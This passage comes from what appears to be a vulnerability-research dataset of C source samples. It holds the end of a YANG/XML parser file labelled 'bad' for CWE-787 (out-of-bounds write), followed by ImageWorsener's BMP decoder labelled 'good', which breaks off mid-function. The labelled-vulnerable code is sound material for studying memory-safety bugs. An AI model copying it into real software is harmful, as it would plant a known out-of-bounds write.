%xFFFFE-FFFFF, %x10FFFE-10FFFF */ LOGVAL(ctx, LYE_XML_INCHAR, LY_VLOG_NONE, NULL, src); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Invalid UTF-8 value 0x%08x", value); return 0; } dst[0] = src[0]; dst[1] = src[1]; dst[2] = src[2]; dst[3] = src[3]; return 4; } else { LOGVAL(ctx, LYE_XML_INCHAR, LY_VLOG_NONE, NULL, src); LOGVAL(ctx, LYE_SPEC, LY_VLOG_NONE, NULL, "Invalid UTF-8 leading byte 0x%02x", src[0]); return 0; } } const struct lys_module * lyp_get_module(const struct lys_module *module, const char *prefix, int pref_len, const char *name, int name_len, int in_data) { const struct lys_module *main_module; char *str; int i; assert(!prefix || !name); if (prefix && !pref_len) { pref_len = strlen(prefix); } if (name && !name_len) { name_len = strlen(name); } main_module = lys_main_module(module); /* module own prefix, submodule own prefix, (sub)module own name */ if ((!prefix || (!module->type && !strncmp(main_module->prefix, prefix, pref_len) && !main_module->prefix[pref_len]) || (module->type && !strncmp(module->prefix, prefix, pref_len) && !module->prefix[pref_len])) && (!name || (!strncmp(main_module->name, name, name_len) && !main_module->name[name_len]))) { return main_module; } /* standard import */ for (i = 0; i < module->imp_size; ++i) { if ((!prefix || (!strncmp(module->imp[i].prefix, prefix, pref_len) && !module->imp[i].prefix[pref_len])) && (!name || (!strncmp(module->imp[i].module->name, name, name_len) && !module->imp[i].module->name[name_len]))) { return module->imp[i].module; } } /* module required by a foreign grouping, deviation, or submodule */ if (name) { str = strndup(name, name_len); if (!str) { LOGMEM(module->ctx); return NULL; } main_module = ly_ctx_get_module(module->ctx, str, NULL, 0); /* try data callback */ if (!main_module && in_data && module->ctx->data_clb) { main_module = module->ctx->data_clb(module->ctx, str, NULL, 0, module->ctx->data_clb_data); } free(str); return main_module; } return NULL; } const struct lys_module * lyp_get_import_module_ns(const struct lys_module *module, const char *ns) { int i; const struct lys_module *mod = NULL; assert(module && ns); if (module->type) { /* the module is actually submodule and to get the namespace, we need the main module */ if (ly_strequal(((struct lys_submodule *)module)->belongsto->ns, ns, 0)) { return ((struct lys_submodule *)module)->belongsto; } } else { /* module's own namespace */ if (ly_strequal(module->ns, ns, 0)) { return module; } } /* imported modules */ for (i = 0; i < module->imp_size; ++i) { if (ly_strequal(module->imp[i].module->ns, ns, 0)) { return module->imp[i].module; } } return mod; } const char * lyp_get_yang_data_template_name(const struct lyd_node *node) { struct lys_node *snode; snode = lys_parent(node->schema); while (snode && snode->nodetype & (LYS_USES | LYS_CASE | LYS_CHOICE)) { snode = lys_parent(snode); } if (snode && snode->nodetype == LYS_EXT && strcmp(((struct lys_ext_instance_complex *)snode)->def->name, "yang-data") == 0) { return ((struct lys_ext_instance_complex *)snode)->arg_value; } else { return NULL; } } const struct lys_node * lyp_get_yang_data_template(const struct lys_module *module, const char *yang_data_name, int yang_data_name_len) { int i, j; const struct lys_node *ret = NULL; const struct lys_submodule *submodule; for(i = 0; i < module->ext_size; ++i) { if (!strcmp(module->ext[i]->def->name, "yang-data") && !strncmp(module->ext[i]->arg_value, yang_data_name, yang_data_name_len) && !module->ext[i]->arg_value[yang_data_name_len]) { ret = (struct lys_node *)module->ext[i]; break; } } for(j = 0; !ret && j < module->inc_size; ++j) { submodule = module->inc[j].submodule; for(i = 0; i < submodule->ext_size; ++i) { if (!strcmp(submodule->ext[i]->def->name, "yang-data") && !strncmp(submodule->ext[i]->arg_value, yang_data_name, yang_data_name_len) && !submodule->ext[i]->arg_value[yang_data_name_len]) { ret = (struct lys_node *)submodule->ext[i]; break; } } } return ret; }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_1287_0
crossvul-cpp_data_good_3368_0
// imagew-bmp.c // Part of ImageWorsener, Copyright (c) 2011 by Jason Summers. // For more information, see the readme.txt file. #include "imagew-config.h" #include <stdio.h> // for SEEK_SET #include <stdlib.h> #include <string.h> #define IW_INCLUDE_UTIL_FUNCTIONS #include "imagew.h" #define IWBMP_BI_RGB 0 // = uncompressed #define IWBMP_BI_RLE8 1 #define IWBMP_BI_RLE4 2 #define IWBMP_BI_BITFIELDS 3 #define IWBMP_BI_JPEG 4 #define IWBMP_BI_PNG 5 #define IWBMPCS_CALIBRATED_RGB 0 #define IWBMPCS_DEVICE_RGB 1 // (Unconfirmed) #define IWBMPCS_DEVICE_CMYK 2 // (Unconfirmed) #define IWBMPCS_SRGB 0x73524742 #define IWBMPCS_WINDOWS 0x57696e20 #define IWBMPCS_PROFILE_LINKED 0x4c494e4b #define IWBMPCS_PROFILE_EMBEDDED 0x4d424544 static size_t iwbmp_calc_bpr(int bpp, size_t width) { return ((bpp*width+31)/32)*4; } struct iwbmprcontext { struct iw_iodescr *iodescr; struct iw_context *ctx; struct iw_image *img; int bmpversion; int width, height; int topdown; int has_fileheader; unsigned int bitcount; // bits per pixel unsigned int compression; // IWBMP_BI_* int uses_bitfields; // 'compression' is BI_BITFIELDS int has_alpha_channel; int bitfields_set; int need_16bit; unsigned int palette_entries; size_t fileheader_size; size_t infoheader_size; size_t bitfields_nbytes; // Bytes consumed by BITFIELDs, if not part of the header. size_t palette_nbytes; size_t bfOffBits; struct iw_palette palette; // For 16- & 32-bit images: unsigned int bf_mask[4]; int bf_high_bit[4]; int bf_low_bit[4]; int bf_bits_count[4]; // number of bits in each channel struct iw_csdescr csdescr; }; static int iwbmp_read(struct iwbmprcontext *rctx, iw_byte *buf, size_t buflen) { int ret; size_t bytesread = 0; ret = (*rctx->iodescr->read_fn)(rctx->ctx,rctx->iodescr, buf,buflen,&bytesread); if(!ret || bytesread!=buflen) { return 0; } return 1; } static int iwbmp_skip_bytes(struct iwbmprcontext *rctx, size_t n) { iw_byte buf[1024]; size_t still_to_read; size_t num_to_read; still_to_read = n; while(still_to_read>0) { num_to_read = still_to_read; if(num_to_read>1024) num_to_read=1024; if(!iwbmp_read(rctx,buf,num_to_read)) { return 0; } still_to_read -= num_to_read; } return 1; } static int iwbmp_read_file_header(struct iwbmprcontext *rctx) { iw_byte buf[14]; if(!iwbmp_read(rctx,buf,14)) return 0; rctx->fileheader_size = 14; if(buf[0]=='B' && buf[1]=='A') { // OS/2 Bitmap Array // TODO: This type of file can contain more than one BMP image. // We only support the first one. if(!iwbmp_read(rctx,buf,14)) return 0; rctx->fileheader_size += 14; } if(buf[0]=='B' && buf[1]=='M') { ; } else if((buf[0]=='C' && buf[1]=='I') || // OS/2 Color Icon (buf[0]=='C' && buf[1]=='P') || // OS/2 Color Pointer (buf[0]=='I' && buf[1]=='C') || // OS/2 Icon (buf[0]=='P' && buf[1]=='T')) // OS/2 Pointer { iw_set_error(rctx->ctx,"This type of BMP file is not supported"); return 0; } else { iw_set_error(rctx->ctx,"Not a BMP file"); return 0; } rctx->bfOffBits = iw_get_ui32le(&buf[10]); return 1; } // Read the 12-byte header of a Windows v2 BMP (also known as OS/2 v1 BMP). static int decode_v2_header(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int nplanes; rctx->width = iw_get_ui16le(&buf[4]); rctx->height = iw_get_ui16le(&buf[6]); nplanes = iw_get_ui16le(&buf[8]); if(nplanes!=1) return 0; rctx->bitcount = iw_get_ui16le(&buf[10]); if(rctx->bitcount!=1 && rctx->bitcount!=4 && rctx->bitcount!=8 && rctx->bitcount!=24) { return 0; } if(rctx->bitcount<=8) { size_t palette_start, palette_end; rctx->palette_entries = 1<<rctx->bitcount; rctx->palette_nbytes = 3*rctx->palette_entries; // Since v2 BMPs have no direct way to indicate that the palette is not // full-sized, assume the palette ends no later than the start of the // bitmap bits. palette_start = rctx->fileheader_size + rctx->infoheader_size; palette_end = palette_start + rctx->palette_nbytes; if(rctx->bfOffBits >= palette_start+3 && rctx->bfOffBits < palette_end) { rctx->palette_entries = (unsigned int)((rctx->bfOffBits - palette_start)/3); rctx->palette_nbytes = 3*rctx->palette_entries; } } return 1; } // Read a Windows v3 or OS/2 v2 header. static int decode_v3_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int nplanes; int biXPelsPerMeter, biYPelsPerMeter; unsigned int biClrUsed = 0; //unsigned int biSizeImage; rctx->width = iw_get_i32le(&buf[4]); rctx->height = iw_get_i32le(&buf[8]); if(rctx->height<0) { rctx->height = -rctx->height; rctx->topdown = 1; } nplanes = iw_get_ui16le(&buf[12]); if(nplanes!=1) return 0; rctx->bitcount = iw_get_ui16le(&buf[14]); // We allow bitcount=2 because it's legal in Windows CE BMPs. if(rctx->bitcount!=1 && rctx->bitcount!=2 && rctx->bitcount!=4 && rctx->bitcount!=8 && rctx->bitcount!=16 && rctx->bitcount!=24 && rctx->bitcount!=32) { iw_set_errorf(rctx->ctx,"Bad or unsupported bit count (%d)",(int)rctx->bitcount); return 0; } if(rctx->infoheader_size<=16) { goto infoheaderdone; } rctx->compression = iw_get_ui32le(&buf[16]); if(rctx->compression==IWBMP_BI_BITFIELDS) { if(rctx->bitcount==1) { iw_set_error(rctx->ctx,"Huffman 1D compression not supported"); return 0; } else if(rctx->bitcount!=16 && rctx->bitcount!=32) { iw_set_error(rctx->ctx,"Bad or unsupported image type"); return 0; } // The compression field is overloaded: BITFIELDS is not a type of // compression. Un-overload it. rctx->uses_bitfields = 1; // The v4/v5 documentation for the "BitCount" field says that the // BITFIELDS data comes after the header, the same as with v3. // The v4/v5 documentation for the "Compression" field says that the // BITFIELDS data is stored in the "Mask" fields of the header. // Am I supposed to conclude that it is redundantly stored in both // places? // Evidence and common sense suggests the "BitCount" documentation is // incorrect, and v4/v5 BMPs never have a separate "bitfields" segment. if(rctx->bmpversion==3) { rctx->bitfields_nbytes = 12; } rctx->compression=IWBMP_BI_RGB; } //biSizeImage = iw_get_ui32le(&buf[20]); biXPelsPerMeter = iw_get_i32le(&buf[24]); biYPelsPerMeter = iw_get_i32le(&buf[28]); rctx->img->density_code = IW_DENSITY_UNITS_PER_METER; rctx->img->density_x = (double)biXPelsPerMeter; rctx->img->density_y = (double)biYPelsPerMeter; if(!iw_is_valid_density(rctx->img->density_x,rctx->img->density_y,rctx->img->density_code)) { rctx->img->density_code=IW_DENSITY_UNKNOWN; } biClrUsed = iw_get_ui32le(&buf[32]); if(biClrUsed>100000) return 0; infoheaderdone: // The documentation of the biClrUsed field is not very clear. // I'm going to assume that if biClrUsed is 0 and bitcount<=8, then // the number of palette colors is the maximum that would be useful // for that bitcount. In all other cases, the number of palette colors // equals biClrUsed. if(biClrUsed==0 && rctx->bitcount<=8) { rctx->palette_entries = 1<<rctx->bitcount; } else { rctx->palette_entries = biClrUsed; } rctx->palette_nbytes = 4*rctx->palette_entries; return 1; } static int process_bf_mask(struct iwbmprcontext *rctx, int k); // Decode the fields that are in v4 and not in v3. static int decode_v4_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { int k; unsigned int cstype; if(rctx->uses_bitfields) { // Set the bitfields masks here, instead of in iwbmp_read_bitfields(). for(k=0;k<4;k++) { rctx->bf_mask[k] = 0; } for(k=0;k<4;k++) { if(rctx->infoheader_size < (size_t)(40+k*4+4)) break; rctx->bf_mask[k] = iw_get_ui32le(&buf[40+k*4]); if(!process_bf_mask(rctx,k)) return 0; } rctx->bitfields_set=1; // Remember not to overwrite the bf_* fields. if(rctx->bf_mask[3]!=0) { // The documentation says this is the mask that "specifies the // alpha component of each pixel." // It doesn't say whther it's associated, or unassociated alpha. // It doesn't say whether 0=transparent, or 0=opaque. // It doesn't say how to tell whether an image has an alpha // channel. // These are the answers I'm going with: // - Unassociated alpha // - 0=transparent // - 16- and 32-bit images have an alpha channel if 'compression' // is set to BI_BITFIELDS, and this alpha mask is nonzero. rctx->has_alpha_channel = 1; } } if(rctx->infoheader_size < 108) return 1; cstype = iw_get_ui32le(&buf[56]); switch(cstype) { case IWBMPCS_CALIBRATED_RGB: // "indicates that endpoints and gamma values are given in the // appropriate fields." (TODO) break; case IWBMPCS_DEVICE_RGB: case IWBMPCS_SRGB: case IWBMPCS_WINDOWS: break; case IWBMPCS_PROFILE_LINKED: case IWBMPCS_PROFILE_EMBEDDED: if(rctx->bmpversion<5) { iw_warning(rctx->ctx,"Invalid colorspace type for BMPv4"); } break; default: iw_warningf(rctx->ctx,"Unrecognized or unsupported colorspace type (0x%x)",cstype); } // Read Gamma fields if(cstype==IWBMPCS_CALIBRATED_RGB) { unsigned int bmpgamma; double gamma[3]; double avggamma; for(k=0;k<3;k++) { bmpgamma = iw_get_ui32le(&buf[96+k*4]); gamma[k] = ((double)bmpgamma)/65536.0; } avggamma = (gamma[0] + gamma[1] + gamma[2])/3.0; if(avggamma>=0.1 && avggamma<=10.0) { iw_make_gamma_csdescr(&rctx->csdescr,1.0/avggamma); } } return 1; } // Decode the fields that are in v5 and not in v4. static int decode_v5_header_fields(struct iwbmprcontext *rctx, const iw_byte *buf) { unsigned int intent_bmp_style; int intent_iw_style; intent_bmp_style = iw_get_ui32le(&buf[108]); intent_iw_style = IW_INTENT_UNKNOWN; switch(intent_bmp_style) { case 1: intent_iw_style = IW_INTENT_SATURATION; break; // LCS_GM_BUSINESS case 2: intent_iw_style = IW_INTENT_RELATIVE; break; // LCS_GM_GRAPHICS case 4: intent_iw_style = IW_INTENT_PERCEPTUAL; break; // LCS_GM_IMAGES case 8: intent_iw_style = IW_INTENT_ABSOLUTE; break; // LCS_GM_ABS_COLORIMETRIC } rctx->img->rendering_intent = intent_iw_style; // The profile may either be after the color table, or after the bitmap bits. // I'm assuming that we will never need to use the profile size in order to // find the bitmap bits; i.e. that if the bfOffBits field in the file header // is not available, the profile must be after the bits. //profile_offset = iw_get_ui32le(&buf[112]); // bV5ProfileData; //profile_size = iw_get_ui32le(&buf[116]); // bV5ProfileSize; return 1; } static int iwbmp_read_info_header(struct iwbmprcontext *rctx) { iw_byte buf[124]; int retval = 0; size_t n; // First, read just the "size" field. It tells the size of the header // structure, and identifies the BMP version. if(!iwbmp_read(rctx,buf,4)) goto done; rctx->infoheader_size = iw_get_ui32le(&buf[0]); if(rctx->infoheader_size<12) goto done; // Read the rest of the header. n = rctx->infoheader_size; if(n>sizeof(buf)) n=sizeof(buf); if(!iwbmp_read(rctx,&buf[4],n-4)) goto done; if(rctx->infoheader_size==12) { // This is a "Windows BMP v2" or "OS/2 BMP v1" bitmap. rctx->bmpversion=2; if(!decode_v2_header(rctx,buf)) goto done; } else if(rctx->infoheader_size==16 || rctx->infoheader_size==40 || rctx->infoheader_size==64) { // A Windows v3 or OS/2 v2 BMP. // OS/2 v2 BMPs can technically have other header sizes between 16 and 64, // but it's not clear if such files actually exist. rctx->bmpversion=3; if(!decode_v3_header_fields(rctx,buf)) goto done; } else if(rctx->infoheader_size==108 || rctx->infoheader_size==52 || rctx->infoheader_size==56) { // We assume a a 52- or 56-byte header is for BITMAPV2INFOHEADER/BITMAPV3INFOHEADER, // and not OS/2v2 format. But if it OS/2v2, it will probably either work (because // the formats are similar enough), or fail due to an unsupported combination of // compression and bits/pixel. rctx->bmpversion=4; if(!decode_v3_header_fields(rctx,buf)) goto done; if(!decode_v4_header_fields(rctx,buf)) goto done; } else if(rctx->infoheader_size==124) { rctx->bmpversion=5; if(!decode_v3_header_fields(rctx,buf)) goto done; if(!decode_v4_header_fields(rctx,buf)) goto done; if(!decode_v5_header_fields(rctx,buf)) goto done; } else { iw_set_error(rctx->ctx,"Unsupported BMP version"); goto done; } if(!iw_check_image_dimensions(rctx->ctx,rctx->width,rctx->height)) { goto done; } retval = 1; done: return retval; } // Find the highest/lowest bit that is set. static int find_high_bit(unsigned int x) { int i; for(i=31;i>=0;i--) { if(x&(1U<<(unsigned int)i)) return i; } return 0; } static int find_low_bit(unsigned int x) { int i; for(i=0;i<=31;i++) { if(x&(1U<<(unsigned int)i)) return i; } return 0; } // Given .bf_mask[k], set high_bit[k], low_bit[k], etc. static int process_bf_mask(struct iwbmprcontext *rctx, int k) { // The bits representing the mask for each channel are required to be // contiguous, so all we need to do is find the highest and lowest bit. rctx->bf_high_bit[k] = find_high_bit(rctx->bf_mask[k]); rctx->bf_low_bit[k] = find_low_bit(rctx->bf_mask[k]); rctx->bf_bits_count[k] = 1+rctx->bf_high_bit[k]-rctx->bf_low_bit[k]; // Check if the mask specifies an invalid bit if(rctx->bf_high_bit[k] > (int)(rctx->bitcount-1)) return 0; if(rctx->bf_bits_count[k]>16) { // We only support up to 16 bits. Ignore any bits after the 16th. rctx->bf_low_bit[k] = rctx->bf_high_bit[k]-15; rctx->bf_bits_count[k] = 16; } if(rctx->bf_bits_count[k]>8) { rctx->need_16bit = 1; } return 1; } static int iwbmp_read_bitfields(struct iwbmprcontext *rctx) { iw_byte buf[12]; int k; if(!iwbmp_read(rctx,buf,12)) return 0; for(k=0;k<3;k++) { rctx->bf_mask[k] = iw_get_ui32le(&buf[k*4]); if(rctx->bf_mask[k]==0) return 0; // Find the high bit, low bit, etc. if(!process_bf_mask(rctx,k)) return 0; } return 1; } static void iwbmp_set_default_bitfields(struct iwbmprcontext *rctx) { int k; if(rctx->bitfields_set) return; if(rctx->bitcount==16) { // Default is 5 bits for each channel. rctx->bf_mask[0]=0x7c00; // 01111100 00000000 (red) rctx->bf_mask[1]=0x03e0; // 00000011 11100000 (green) rctx->bf_mask[2]=0x001f; // 00000000 00011111 (blue) } else if(rctx->bitcount==32) { rctx->bf_mask[0]=0x00ff0000; rctx->bf_mask[1]=0x0000ff00; rctx->bf_mask[2]=0x000000ff; } else { return; } for(k=0;k<3;k++) { process_bf_mask(rctx,k); } } static int iwbmp_read_palette(struct iwbmprcontext *rctx) { size_t i; iw_byte buf[4*256]; size_t b; unsigned int valid_palette_entries; size_t valid_palette_nbytes; b = (rctx->bmpversion==2) ? 3 : 4; // bytes per palette entry if(rctx->infoheader_size==64) { // According to what little documentation I can find, OS/2v2 BMP files // have 4 bytes per palette entry. But some of the files I've seen have // only 3. This is a little hack to support them. if(rctx->fileheader_size + rctx->infoheader_size + rctx->palette_entries*3 == rctx->bfOffBits) { iw_warning(rctx->ctx,"BMP bitmap overlaps colormap; assuming colormap uses 3 bytes per entry instead of 4"); b = 3; rctx->palette_nbytes = 3*rctx->palette_entries; } } // If the palette has >256 colors, only use the first 256. valid_palette_entries = (rctx->palette_entries<=256) ? rctx->palette_entries : 256; valid_palette_nbytes = valid_palette_entries * b; if(!iwbmp_read(rctx,buf,valid_palette_nbytes)) return 0; rctx->palette.num_entries = valid_palette_entries; for(i=0;i<valid_palette_entries;i++) { rctx->palette.entry[i].b = buf[i*b+0]; rctx->palette.entry[i].g = buf[i*b+1]; rctx->palette.entry[i].r = buf[i*b+2]; rctx->palette.entry[i].a = 255; } // If the palette is oversized, skip over the unused part of it. if(rctx->palette_nbytes > valid_palette_nbytes) { iwbmp_skip_bytes(rctx, rctx->palette_nbytes - valid_palette_nbytes); } return 1; } static void bmpr_convert_row_32_16(struct iwbmprcontext *rctx, const iw_byte *src, size_t row) { int i,k; unsigned int v,x; int numchannels; numchannels = rctx->has_alpha_channel ? 4 : 3; for(i=0;i<rctx->width;i++) { if(rctx->bitcount==32) { x = ((unsigned int)src[i*4+0]) | ((unsigned int)src[i*4+1])<<8 | ((unsigned int)src[i*4+2])<<16 | ((unsigned int)src[i*4+3])<<24; } else { // 16 x = ((unsigned int)src[i*2+0]) | ((unsigned int)src[i*2+1])<<8; } v = 0; for(k=0;k<numchannels;k++) { // For red, green, blue [, alpha]: v = x & rctx->bf_mask[k]; if(rctx->bf_low_bit[k]>0) v >>= rctx->bf_low_bit[k]; if(rctx->img->bit_depth==16) { rctx->img->pixels[row*rctx->img->bpr + i*numchannels*2 + k*2+0] = (iw_byte)(v>>8); rctx->img->pixels[row*rctx->img->bpr + i*numchannels*2 + k*2+1] = (iw_byte)(v&0xff); } else { rctx->img->pixels[row*rctx->img->bpr + i*numchannels + k] = (iw_byte)v; } } } } static void bmpr_convert_row_24(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; for(i=0;i<rctx->width;i++) { rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = src[i*3+2]; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = src[i*3+1]; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = src[i*3+0]; } } static void bmpr_convert_row_8(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; for(i=0;i<rctx->width;i++) { rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[src[i]].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[src[i]].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[src[i]].b; } } static void bmpr_convert_row_4(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (i&0x1) ? src[i/2]&0x0f : src[i/2]>>4; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static void bmpr_convert_row_2(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (src[i/4]>>(2*(3-i%4)))&0x03; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static void bmpr_convert_row_1(struct iwbmprcontext *rctx,const iw_byte *src, size_t row) { int i; int pal_index; for(i=0;i<rctx->width;i++) { pal_index = (src[i/8] & (1<<(7-i%8))) ? 1 : 0; rctx->img->pixels[row*rctx->img->bpr + i*3 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[row*rctx->img->bpr + i*3 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[row*rctx->img->bpr + i*3 + 2] = rctx->palette.entry[pal_index].b; } } static int bmpr_read_uncompressed(struct iwbmprcontext *rctx) { iw_byte *rowbuf = NULL; size_t bmp_bpr; int j; int retval = 0; if(rctx->has_alpha_channel) { rctx->img->imgtype = IW_IMGTYPE_RGBA; rctx->img->bit_depth = rctx->need_16bit ? 16 : 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,4*rctx->img->bit_depth); } else { rctx->img->imgtype = IW_IMGTYPE_RGB; rctx->img->bit_depth = rctx->need_16bit ? 16 : 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,3*rctx->img->bit_depth); } bmp_bpr = iwbmp_calc_bpr(rctx->bitcount,rctx->width); rctx->img->pixels = (iw_byte*)iw_malloc_large(rctx->ctx,rctx->img->bpr,rctx->img->height); if(!rctx->img->pixels) goto done; rowbuf = iw_malloc(rctx->ctx,bmp_bpr); for(j=0;j<rctx->img->height;j++) { // Read a row of the BMP file. if(!iwbmp_read(rctx,rowbuf,bmp_bpr)) { goto done; } switch(rctx->bitcount) { case 32: case 16: bmpr_convert_row_32_16(rctx,rowbuf,j); break; case 24: bmpr_convert_row_24(rctx,rowbuf,j); break; case 8: bmpr_convert_row_8(rctx,rowbuf,j); break; case 4: bmpr_convert_row_4(rctx,rowbuf,j); break; case 2: bmpr_convert_row_2(rctx,rowbuf,j); break; case 1: bmpr_convert_row_1(rctx,rowbuf,j); break; } } retval = 1; done: if(rowbuf) iw_free(rctx->ctx,rowbuf); return retval; } // Read and decompress RLE8 or RLE4-compressed bits, and write pixels to // rctx->img->pixels. static int bmpr_read_rle_internal(struct iwbmprcontext *rctx) { int retval = 0; int pos_x, pos_y; iw_byte buf[255]; size_t n_pix; size_t n_bytes; size_t i; size_t pal_index; // The position of the next pixel to set. // pos_y is in IW coordinates (top=0), not BMP coordinates (bottom=0). pos_x = 0; pos_y = 0; // Initially make all pixels transparent, so that any any pixels we // don't modify will be transparent. iw_zeromem(rctx->img->pixels,rctx->img->bpr*rctx->img->height); while(1) { // If we've reached the end of the bitmap, stop. if(pos_y>rctx->img->height-1) break; if(pos_y==rctx->img->height-1 && pos_x>=rctx->img->width) break; if(!iwbmp_read(rctx,buf,2)) goto done; if(buf[0]==0) { if(buf[1]==0) { // End of Line pos_y++; pos_x=0; } else if(buf[1]==1) { // (Premature) End of Bitmap break; } else if(buf[1]==2) { // DELTA: The next two bytes are unsigned values representing // the relative position of the next pixel from the "current // position". // I interpret "current position" to mean the position at which // the next pixel would normally have been. if(!iwbmp_read(rctx,buf,2)) goto done; if(pos_x<rctx->img->width) pos_x += buf[0]; pos_y += buf[1]; } else { // A uncompressed segment n_pix = (size_t)buf[1]; // Number of uncompressed pixels which follow if(rctx->compression==IWBMP_BI_RLE4) { n_bytes = ((n_pix+3)/4)*2; } else { n_bytes = ((n_pix+1)/2)*2; } if(!iwbmp_read(rctx,buf,n_bytes)) goto done; for(i=0;i<n_pix;i++) { if(pos_x<rctx->img->width) { if(rctx->compression==IWBMP_BI_RLE4) { pal_index = (i%2) ? buf[i/2]&0x0f : buf[i/2]>>4; } else { pal_index = buf[i]; } rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 2] = rctx->palette.entry[pal_index].b; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 3] = 255; pos_x++; } } } } else { // An RLE-compressed segment n_pix = (size_t)buf[0]; for(i=0;i<n_pix;i++) { if(pos_x<rctx->img->width) { if(rctx->compression==IWBMP_BI_RLE4) { pal_index = (i%2) ? buf[1]&0x0f : buf[1]>>4; } else { pal_index = buf[1]; } rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 0] = rctx->palette.entry[pal_index].r; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 1] = rctx->palette.entry[pal_index].g; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 2] = rctx->palette.entry[pal_index].b; rctx->img->pixels[rctx->img->bpr*pos_y + pos_x*4 + 3] = 255; pos_x++; } } } } retval = 1; done: return retval; } static int bmpr_has_transparency(struct iw_image *img) { int i,j; if(img->imgtype!=IW_IMGTYPE_RGBA) return 0; for(j=0;j<img->height;j++) { for(i=0;i<img->width;i++) { if(img->pixels[j*img->bpr + i*4 + 3] != 255) return 1; } } return 0; } // Remove the alpha channel. // This doesn't free the extra memory used by the alpha channel, it just // moves the pixels around in-place. static void bmpr_strip_alpha(struct iw_image *img) { int i,j; size_t oldbpr; img->imgtype = IW_IMGTYPE_RGB; oldbpr = img->bpr; img->bpr = iw_calc_bytesperrow(img->width,24); for(j=0;j<img->height;j++) { for(i=0;i<img->width;i++) { img->pixels[j*img->bpr + i*3 + 0] = img->pixels[j*oldbpr + i*4 + 0]; img->pixels[j*img->bpr + i*3 + 1] = img->pixels[j*oldbpr + i*4 + 1]; img->pixels[j*img->bpr + i*3 + 2] = img->pixels[j*oldbpr + i*4 + 2]; } } } static int bmpr_read_rle(struct iwbmprcontext *rctx) { int retval = 0; if(!(rctx->compression==IWBMP_BI_RLE8 && rctx->bitcount==8) && !(rctx->compression==IWBMP_BI_RLE4 && rctx->bitcount==4)) { iw_set_error(rctx->ctx,"Compression type incompatible with image type"); goto done; } if(rctx->topdown) { // The documentation says that top-down images may not be compressed. iw_set_error(rctx->ctx,"Compression not allowed with top-down images"); goto done; } // RLE-compressed BMP images don't have to assign a color to every pixel, // and it's reasonable to interpret undefined pixels as transparent. // I'm not going to worry about handling compressed BMP images as // efficiently as possible, so start with an RGBA image, and convert to // RGB format later if (as is almost always the case) there was no // transparency. rctx->img->imgtype = IW_IMGTYPE_RGBA; rctx->img->bit_depth = 8; rctx->img->bpr = iw_calc_bytesperrow(rctx->width,32); rctx->img->pixels = (iw_byte*)iw_malloc_large(rctx->ctx,rctx->img->bpr,rctx->img->height); if(!rctx->img->pixels) goto done; if(!bmpr_read_rle_internal(rctx)) goto done; if(!bmpr_has_transparency(rctx->img)) { bmpr_strip_alpha(rctx->img); } retval = 1; done: return retval; } static int iwbmp_read_bits(struct iwbmprcontext *rctx) { int retval = 0; rctx->img->width = rctx->width; rctx->img->height = rctx->height; // If applicable, use the fileheader's "bits offset" field to locate the // bitmap bits. if(rctx->fileheader_size>0) { size_t expected_offbits; expected_offbits = rctx->fileheader_size + rctx->infoheader_size + rctx->bitfields_nbytes + rctx->palette_nbytes; if(rctx->bfOffBits==expected_offbits) { ; } else if(rctx->bfOffBits>expected_offbits && rctx->bfOffBits<1000000) { // Apparently, there's some extra space between the header data and // the bits. If it's not unreasonably large, skip over it. if(!iwbmp_skip_bytes(rctx, rctx->bfOffBits - expected_offbits)) goto done; } else { iw_set_error(rctx->ctx,"Invalid BMP bits offset"); goto done; } } if(rctx->compression==IWBMP_BI_RGB) { if(!bmpr_read_uncompressed(rctx)) goto done; } else if(rctx->compression==IWBMP_BI_RLE8 || rctx->compression==IWBMP_BI_RLE4) { if(!bmpr_read_rle(rctx)) goto done; } else { iw_set_errorf(rctx->ctx,"Unsupported BMP compression or image type (%d)",(int)rctx->compression); goto done; } retval = 1; done: return retval; } static void iwbmpr_misc_config(struct iw_context *ctx, struct iwbmprcontext *rctx) { // Have IW flip the image, if necessary. if(!rctx->topdown) { iw_reorient_image(ctx,IW_REORIENT_FLIP_V); } // Tell IW the colorspace. iw_set_input_colorspace(ctx,&rctx->csdescr); // Tell IW the significant bits. if(rctx->bitcount==16 || rctx->bitcount==32) { if(rctx->bf_bits_count[0]!=8 || 